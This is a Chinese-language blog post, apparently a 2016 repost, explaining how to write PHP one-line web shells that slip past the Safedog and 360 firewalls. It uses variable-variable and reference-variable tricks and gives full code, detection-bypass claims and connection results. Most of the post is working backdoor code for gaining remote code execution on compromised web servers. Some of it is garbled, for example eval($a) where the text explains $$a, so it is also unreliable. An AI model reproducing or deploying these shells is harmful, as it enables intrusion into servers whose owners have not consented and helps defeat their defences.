您的位置:首页 > 编程语言 > PHP开发

绕过安全狗与360PHP一句话的编写

2016-08-03 15:24 232 查看
00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell。

当然,安全狗是最简单的一款waf,很容易就进行一个绕过。
00x02

对于绕过安全狗跟360,我姿势不多,但是却很实用为以下两种

1.#可变变量

2.#引用变量

00x03

##可变变量(菜刀可能报错)

<@eval($_POST['x'])

复制代码

经常使用的人都知道,只是最简单的一句话,不过任何waf与规则

我们先来加入需要的函数

<?php

$a='b';

$b=$_POST['x'];

@eval($a);

复制代码

我们先来测试下是否被杀

 

可以看见,是成功过了安全狗,我们来测试下连接


 

并且成功可以连接

代码分析#

<?php 

$a='b';

$b=$_POST['x'];

@eval($a);

?>

复制代码

我们来看第二行代码

$a='b';

复制代码

知道可变变量的人应该都能看懂吧,第三行$$a中的$a是b,也可以这么说$a替换成b。

继续看第三行

$b=$_POST['x'];

复制代码

根据第一行知道$$a就是$b,$b用来接收post 提交的数据  

最后第四行

@eval($a);

复制代码
执行$$a相当于执行了$a也就是$b. 最后,我们整合成一句话

<?php $a='b'; $b=$_POST['x']; @eval($a);?>

复制代码

                                     总结

1#  可变变量比较灵活对于过狗也比较简单

2#  不过D盾只适合安全狗与360针对性比较高

00x04

##引用变量

<@eval($_POST['x'])

复制代码
还是原始一句话,我先写出写好的代码

<?php 

$a=$_POST['x'];

$b=&$a;

@eval($b);

?>

复制代码

我们继续测试下是否被杀,


 

可以看见,一样过了安全狗,我们继续测试下是否可以连接


 

可以看见,已经连接上了,并且可以进行操作。

##代码分析

<?php 

$a=$_POST['x'];

$b=&$a;

@eval($b);

?>

复制代码

我们来看第二行代码

$a=$_POST['x'];

复制代码

$a用来接收post提交的数据  

继续看第三行代码

$b=&$a;

复制代码

$b引用了$a的内存地址间接的相当于$b接收了post提交的数据

最后第四行代码:

@eval($b);

复制代码

执行$b。最后我们来整合成一句话

<?php $a=$_POST['x']; $b=&$a; @eval($b);?>

复制代码

                                     总结(与可变变量一样)

1#  可变变量比较灵活对于过狗也比较简单

2#  不过D盾只适合安全狗与360针对性比较高

相关链接:http://bbs.ichunqiu.com/thread-9012-1-1.html?from=csdnJG
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: